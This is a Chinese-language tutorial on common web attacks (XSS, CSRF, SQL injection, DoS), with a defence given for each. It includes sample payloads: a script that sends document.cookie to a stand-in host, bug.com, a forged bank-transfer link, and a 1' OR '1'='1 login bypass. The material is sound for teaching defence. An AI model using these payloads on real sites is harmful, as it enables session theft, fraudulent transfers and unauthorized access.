一、XSS
概念
XSS - 跨站脚本攻击(Cross-Site Scripting),可以将代码注入到用户浏览的网页上,这种代码包括HTML和JavaScript。
例如有一个论坛网站,攻击者可以在上面发布一下内容:
<script>alert("垃圾内容");</script>
如果该网站没有做XSS防范的话,其他用户浏览的页面包含此内容时就会弹出这样的垃圾内容,影响用户体验,造成用户流失。
攻击者也可以发布一条这样的内容:
<script>location.href="http://bug.com?c=" + document.cookie</script>
当用户浏览了含有这个内容的页面将会跳转到bug.com并携带了当前作用域的Cookie信息。如果这个论坛网站通过Cookie管理用户登录状态,那么攻击者就可以通过这个Cookie登录被攻击者的账号了。
危害
- 投放垃圾广告
- 窃取用户的Cookie值
- 伪造虚假的输入表单骗取个人信息
防范
1、设置Cookie为HttpOnly
设置了HttpOnly的Cookie可以防止JavaScript脚本调用,就无法通过document.cookie获取用户Cookie信息。
2、过滤特殊字符
例如将<
转义为<
,将>
转义为>
,从而避免HTML和Jascript代码的运行。
富文本编辑器
富文本编辑器通常采用XSS filter来防范XSS攻击,可以定义一些标签白名单或者黑名单,从而不允许有攻击性的HTML代码的输入。
二、CSRF
概念
CSRF - 跨站请求伪造(Cross-site request forgery),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如转账或购买商品等)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户在操作而去执行。
XSS利用的是用户对指定网站的信任,CSRF利用的则是网站对用户浏览器的信任。
假如一家银行用以执行转账操作的URL地址如下:
http://www.bank.com/transferAccounts?account=AccoutName&amount=num&for=ToName。
那么,一个恶意攻击者可以在其他网站上放置如下链接:
<a href="http://www.bank.com/transferAccounts?account=Tom&amount=10000&for=Jerry">点我有惊喜哦</a>
如果有账户名为Tom的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失10000。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
防范
1、添加校验 Token
在访问敏感数据请求时,要求用户浏览器提供不保存在Cookie中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
2、输入验证码
因为CSRF攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。也可以要求用户输入验证码来进行校验。
SQL注入攻击
概念
服务器上的数据库运行非法的SQL语句,主要通过拼接来完成。
例如一个网站登录验证的SQL查询代码如下:
sql_str = "SELECT * FROM users WHERE (username = '" + userName + "') and (password = '"+ passWord +"');"
当填入的信息为:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
那么此时sql_str为:
sql_str = "SELECT * FROM users WHERE (username = '1' OR '1'='1') and (password = '1' OR '1'='1');"
该SQL语句等效于:
sql_str = "SELECT * FROM users;"
无需验证即可执行查询
防范
1、使用参数化查询
Java 中的PreparedStatement是预先编译的SQL语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止SQL注入的发生。
2、单引号转换
将传入的参数中的单引号转换为连续两个单引号。
Dos攻击
概念
Dos - 拒绝服务攻击(denial-of-service attack),也称为洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其他正常用户无法访问。
DDos - 分布式拒绝服务攻击(distributed denial-of-service attack),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。